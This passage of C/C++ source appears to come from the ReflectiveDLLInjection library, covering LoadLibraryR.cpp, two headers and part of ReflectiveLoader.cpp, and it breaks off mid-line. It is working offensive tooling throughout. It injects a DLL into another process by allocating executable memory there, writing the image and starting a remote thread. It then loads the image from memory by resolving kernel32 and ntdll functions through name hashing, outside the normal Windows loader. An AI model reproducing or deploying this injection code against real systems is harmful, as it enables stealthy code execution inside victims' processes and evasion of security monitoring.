UINT_PTR uiBaseAddress ) 32 | { 33 | WORD wIndex = 0; 34 | PIMAGE_SECTION_HEADER pSectionHeader = NULL; 35 | PIMAGE_NT_HEADERS pNtHeaders = NULL; 36 | 37 | pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); 38 | 39 | pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader); 40 | 41 | if( dwRva < pSectionHeader[0].PointerToRawData ) 42 | return dwRva; 43 | 44 | for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ ) 45 | { 46 | if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) ) 47 | return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData ); 48 | } 49 | 50 | return 0; 51 | } 52 | //===============================================================================================// 53 | DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ) 54 | { 55 | UINT_PTR uiBaseAddress = 0; 56 | UINT_PTR uiExportDir = 0; 57 | UINT_PTR uiNameArray = 0; 58 | UINT_PTR uiAddressArray = 0; 59 | UINT_PTR uiNameOrdinals = 0; 60 | DWORD dwCounter = 0; 61 | #ifdef _WIN64 62 | DWORD dwCompiledArch = 2; 63 | #else 64 | // This will catch Win32 and WinRT. 65 | DWORD dwCompiledArch = 1; 66 | #endif 67 | 68 | uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; 69 | 70 | // get the File Offset of the modules NT Header 71 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 72 | 73 | // currenlty we can only process a PE file which is the same type as the one this fuction has 74 | // been compiled as, due to various offset in the PE structures being defined at compile time. 75 | if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32 76 | { 77 | if( dwCompiledArch != 1 ) 78 | return 0; 79 | } 80 | else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64 81 | { 82 | if( dwCompiledArch != 2 ) 83 | return 0; 84 | } 85 | else 86 | { 87 | return 0; 88 | } 89 | 90 | // uiNameArray = the address of the modules export directory entry 91 | uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 92 | 93 | // get the File Offset of the export directory 94 | uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress ); 95 | 96 | // get the File Offset for the array of name pointers 97 | uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress ); 98 | 99 | // get the File Offset for the array of addresses 100 | uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); 101 | 102 | // get the File Offset for the array of name ordinals 103 | uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress ); 104 | 105 | // get a counter for the number of exported functions... 106 | dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames; 107 | 108 | // loop through all the exported functions to find the ReflectiveLoader 109 | while( dwCounter-- ) 110 | { 111 | char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress )); 112 | 113 | if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL ) 114 | { 115 | // get the File Offset for the array of addresses 116 | uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); 117 | 118 | // use the functions name ordinal as an index into the array of name pointers 119 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 120 | 121 | // return the File Offset to the ReflectiveLoader() functions code... 122 | return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress ); 123 | } 124 | // get the next exported function name 125 | uiNameArray += sizeof(DWORD); 126 | 127 | // get the next exported function name ordinal 128 | uiNameOrdinals += sizeof(WORD); 129 | } 130 | 131 | return 0; 132 | } 133 | //===============================================================================================// 134 | // Loads a DLL image from memory via its exported ReflectiveLoader function 135 | HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ) 136 | { 137 | HMODULE hResult = NULL; 138 | DWORD dwReflectiveLoaderOffset = 0; 139 | DWORD dwOldProtect1 = 0; 140 | DWORD dwOldProtect2 = 0; 141 | REFLECTIVELOADER pReflectiveLoader = NULL; 142 | DLLMAIN pDllMain = NULL; 143 | 144 | if( lpBuffer == NULL || dwLength == 0 ) 145 | return NULL; 146 | 147 | __try 148 | { 149 | // check if the library has a ReflectiveLoader... 150 | dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); 151 | if( dwReflectiveLoaderOffset != 0 ) 152 | { 153 | pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset); 154 | 155 | // we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader... 156 | // this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region 157 | if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) ) 158 | { 159 | // call the librarys ReflectiveLoader... 160 | pDllMain = (DLLMAIN)pReflectiveLoader(); 161 | if( pDllMain != NULL ) 162 | { 163 | // call the loaded librarys DllMain to get its HMODULE 164 | if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) ) 165 | hResult = NULL; 166 | } 167 | // revert to the previous protection flags... 168 | VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 ); 169 | } 170 | } 171 | } 172 | __except( EXCEPTION_EXECUTE_HANDLER ) 173 | { 174 | hResult = NULL; 175 | } 176 | 177 | return hResult; 178 | } 179 | //===============================================================================================// 180 | // Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function 181 | // Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 182 | // defined in order to use the correct RDI prototypes. 183 | // Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 184 | // PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ 185 | // Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space. 186 | // Note: This function currently cant inject accross architectures, but only to architectures which are the 187 | // same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64. 188 | HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ) 189 | { 190 | BOOL bSuccess = FALSE; 191 | LPVOID lpRemoteLibraryBuffer = NULL; 192 | LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; 193 | HANDLE hThread = NULL; 194 | DWORD dwReflectiveLoaderOffset = 0; 195 | DWORD dwThreadId = 0; 196 | 197 | __try 198 | { 199 | do 200 | { 201 | if( !hProcess || !lpBuffer || !dwLength ) 202 | break; 203 | 204 | // check if the library has a ReflectiveLoader... 205 | dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); 206 | if( !dwReflectiveLoaderOffset ) 207 | break; 208 | 209 | // alloc memory (RWX) in the host process for the image... 210 | lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); 211 | if( !lpRemoteLibraryBuffer ) 212 | break; 213 | 214 | // write the image into the host process... 215 | if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) ) 216 | break; 217 | 218 | // add the offset to ReflectiveLoader() to the remote library address... 219 | lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset ); 220 | 221 | // create a remote thread in the host process to call the ReflectiveLoader! 222 | hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId ); 223 | 224 | } while( 0 ); 225 | 226 | } 227 | __except( EXCEPTION_EXECUTE_HANDLER ) 228 | { 229 | hThread = NULL; 230 | } 231 | 232 | return hThread; 233 | } 234 | //===============================================================================================// 235 | -------------------------------------------------------------------------------- /src/LoadLibraryR.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H 29 | #define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H 30 | //===============================================================================================// 31 | #include "ReflectiveDLLInjection.h" 32 | 33 | 34 | DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ); 35 | 36 | HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength ); 37 | 38 | HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ); 39 | 40 | //===============================================================================================// 41 | #endif 42 | //===============================================================================================// 43 | -------------------------------------------------------------------------------- /src/ReflectiveDLLInjection.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | 34 | // we declare some common stuff in here... 35 | 36 | #define DLL_METASPLOIT_ATTACH 4 37 | #define DLL_METASPLOIT_DETACH 5 38 | #define DLL_QUERY_HMODULE 6 39 | 40 | #define DEREF( name )*(UINT_PTR *)(name) 41 | #define DEREF_64( name )*(DWORD64 *)(name) 42 | #define DEREF_32( name )*(DWORD *)(name) 43 | #define DEREF_16( name )*(WORD *)(name) 44 | #define DEREF_8( name )*(BYTE *)(name) 45 | 46 | typedef DWORD (WINAPI * REFLECTIVELOADER)( VOID ); 47 | typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); 48 | 49 | #define DLLEXPORT __declspec( dllexport ) 50 | 51 | //===============================================================================================// 52 | #endif 53 | //===============================================================================================// 54 | -------------------------------------------------------------------------------- /src/ReflectiveLoader.cpp: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "ReflectiveLoader.h" 29 | //===============================================================================================// 30 | // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value 31 | HINSTANCE hAppInstance = NULL; 32 | //===============================================================================================// 33 | #pragma intrinsic( _ReturnAddress ) 34 | // This function can not be inlined by the compiler or we will not get the address we expect. Ideally 35 | // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of 36 | // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics 37 | // available (and no inline asm available under x64). 38 | __declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } 39 | //===============================================================================================// 40 | 41 | // Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, 42 | // otherwise the DllMain at the end of this file will be used. 43 | 44 | // Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, 45 | // otherwise it is assumed you are calling the ReflectiveLoader via a stub. 46 | 47 | // This is our position independent reflective DLL loader/injector 48 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 49 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) 50 | #else 51 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) 52 | #endif 53 | { 54 | // the functions we need 55 | LOADLIBRARYA pLoadLibraryA = NULL; 56 | GETPROCADDRESS pGetProcAddress = NULL; 57 | VIRTUALALLOC pVirtualAlloc = NULL; 58 | NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; 59 | 60 | USHORT usCounter; 61 | 62 | // the initial location of this image in memory 63 | ULONG_PTR uiLibraryAddress; 64 | // the kernels base address and later this images newly loaded base address 65 | ULONG_PTR uiBaseAddress; 66 | 67 | // variables for processing the kernels export table 68 | ULONG_PTR uiAddressArray; 69 | ULONG_PTR uiNameArray; 70 | ULONG_PTR uiExportDir; 71 | ULONG_PTR uiNameOrdinals; 72 | DWORD dwHashValue; 73 | 74 | // variables for loading this image 75 | ULONG_PTR uiHeaderValue; 76 | ULONG_PTR uiValueA; 77 | ULONG_PTR uiValueB; 78 | ULONG_PTR uiValueC; 79 | ULONG_PTR uiValueD; 80 | ULONG_PTR uiValueE; 81 | 82 | // STEP 0: calculate our images current base address 83 | 84 | // we will start searching backwards from our callers return address. 85 | uiLibraryAddress = caller(); 86 | 87 | // loop through memory backwards searching for our images base address 88 | // we dont need SEH style search as we shouldnt generate any access violations with this 89 | while( TRUE ) 90 | { 91 | if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) 92 | { 93 | uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 94 | // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), 95 | // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. 96 | if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) 97 | { 98 | uiHeaderValue += uiLibraryAddress; 99 | // break if we have found a valid MZ/PE header 100 | if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) 101 | break; 102 | } 103 | } 104 | uiLibraryAddress--; 105 | } 106 | 107 | // STEP 1: process the kernels exports for the functions our loader needs... 108 | 109 | // get the Process Enviroment Block 110 | #ifdef WIN_X64 111 | uiBaseAddress = __readgsqword( 0x60 ); 112 | #else 113 | #ifdef WIN_X86 114 | uiBaseAddress = __readfsdword( 0x30 ); 115 | #else WIN_ARM 116 | //uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); 117 | #endif 118 | #endif 119 | 120 | // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx 121 | uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; 122 | 123 | // get the first entry of the InMemoryOrder module list 124 | uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; 125 | while( uiValueA ) 126 | { 127 | // get pointer to current modules name (unicode string) 128 | uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; 129 | // set bCounter to the length for the loop 130 | usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; 131 | // clear uiValueC which will store the hash of the module name 132 | uiValueC = 0; 133 | 134 | // compute the hash of the module name... 135 | do 136 | { 137 | uiValueC = ror( (DWORD)uiValueC ); 138 | // normalize to uppercase if the madule name is in lowercase 139 | if( *((BYTE *)uiValueB) >= 'a' ) 140 | uiValueC += *((BYTE *)uiValueB) - 0x20; 141 | else 142 | uiValueC += *((BYTE *)uiValueB); 143 | uiValueB++; 144 | } while( --usCounter ); 145 | 146 | // compare the hash with that of kernel32.dll 147 | if( (DWORD)uiValueC == KERNEL32DLL_HASH ) 148 | { 149 | // get this modules base address 150 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 151 | 152 | // get the VA of the modules NT Header 153 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 154 | 155 | // uiNameArray = the address of the modules export directory entry 156 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 157 | 158 | // get the VA of the export directory 159 | uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 160 | 161 | // get the VA for the array of name pointers 162 | uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); 163 | 164 | // get the VA for the array of name ordinals 165 | uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); 166 | 167 | usCounter = 3; 168 | 169 | // loop while we still have imports to find 170 | while( usCounter > 0 ) 171 | { 172 | // compute the hash values for this function name 173 | dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); 174 | 175 | // if we have found a function we want we get its virtual address 176 | if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) 177 | { 178 | // get the VA for the array of addresses 179 | uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 180 | 181 | // use this functions name ordinal as an index into the array of name pointers 182 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 183 | 184 | // store this functions VA 185 | if( dwHashValue == LOADLIBRARYA_HASH ) 186 | pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 187 | else if( dwHashValue == GETPROCADDRESS_HASH ) 188 | pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 189 | else if( dwHashValue == VIRTUALALLOC_HASH ) 190 | pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 191 | 192 | // decrement our counter 193 | usCounter--; 194 | } 195 | 196 | // get the next exported function name 197 | uiNameArray += sizeof(DWORD); 198 | 199 | // get the next exported function name ordinal 200 | uiNameOrdinals += sizeof(WORD); 201 | } 202 | } 203 | else if( (DWORD)uiValueC == NTDLLDLL_HASH ) 204 | { 205 | // get this modules base address 206 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 207 | 208 | // get the VA of the modules NT Header 209 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 210 | 211 | // uiNameArray = the address of the modules export directory entry 212 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 213 | 214 | // get the VA of the export directory 215 | uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 216 | 217 | // get the VA for the array of name pointers 218 | uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); 219 | 220 | // get the VA for the array of name ordinals 221 | uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); 222 | 223 | usCounter = 1; 224 | 225 | // loop while we still have imports to find 226 | while( usCounter > 0 ) 227 | { 228 | // compute the hash values for this function name 229 | dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); 230 | 231 | // if we have found a function we want we get its virtual address 232 | if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) 233 | { 234 | // get the VA for the array of addresses 235 | uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 236 | 237 | // use this functions name ordinal as an index into the array of name pointers 238 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 239 | 240 | // store this functions VA 241 | if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) 242 | pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 243 | 244 | // decrement our counter 245 | usCounter--; 246 | } 247 | 248 | // get the next exported function name 249 | uiNameArray += sizeof(DWORD); 250 | 251 | // get the next exported function name ordinal 252 | uiNameOrdinals += sizeof(WORD); 253 | } 254 | } 255 | 256 | // we stop searching when we have found everything we need. 257 | if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) 258 | break; 259 | 260 | // get the next entry 261 | uiValueA = DEREF( uiValueA ); 262 | } 263 | 264 | // STEP 2: load our image into a new permanent location in memory... 265 | 266 | // get the VA of the NT Header for the PE to be loaded 267 | uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 268 | 269 | // allocate all the memory for the DLL to be loaded into. we can load at any address because we will 270 | // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. 271 | uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); 272 | 273 | // we must now copy over the headers 274 | uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; 275 | uiValueB = uiLibraryAddress; 276 | uiValueC = uiBaseAddress; 277 | 278 | while( uiValueA-- ) 279 | *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; 280 | 281 | // STEP 3: load in all of our sections... 282 | 283 | // uiValueA = the VA of the first section 284 | uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); 285 | 286 | // itterate through all sections, loading them into memory. 287 | uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; 288 | while( uiValueE-- ) 289 | { 290 | // uiValueB is the VA for this section 291 | uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); 292 | 293 | // uiValueC if the VA for this sections data 294 | uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); 295 | 296 | // copy the section over 297 | uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; 298 | 299 | while( uiValueD-- ) 300 | *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; 301 | 302 | // get the VA of the next section 303 | uiValueA += sizeof( IMAGE_SECTION_HEADER ); 304 | } 305 | 306 | // STEP 4: process our images import table... 307 | 308 | // uiValueB = the address of the import directory 309 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; 310 | 311 | // we assume their is an import table to process 312 | // uiValueC is the first entry in the import table 313 | uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); 314 | 315 | // itterate through all imports 316 | while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) 317 | { 318 | // use LoadLibraryA to load the imported module into memory 319 | uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); 320 | 321 | // uiValueD = VA of the OriginalFirstThunk 322 | uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); 323 | 324 | // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) 325 | uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); 326 | 327 | // itterate through all imported functions, importing by ordinal if no name present 328 | while( DEREF(uiValueA) ) 329 | { 330 | // sanity check uiValueD as some compilers only import by FirstThunk 331 | if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) 332 | { 333 | // get the VA of the modules 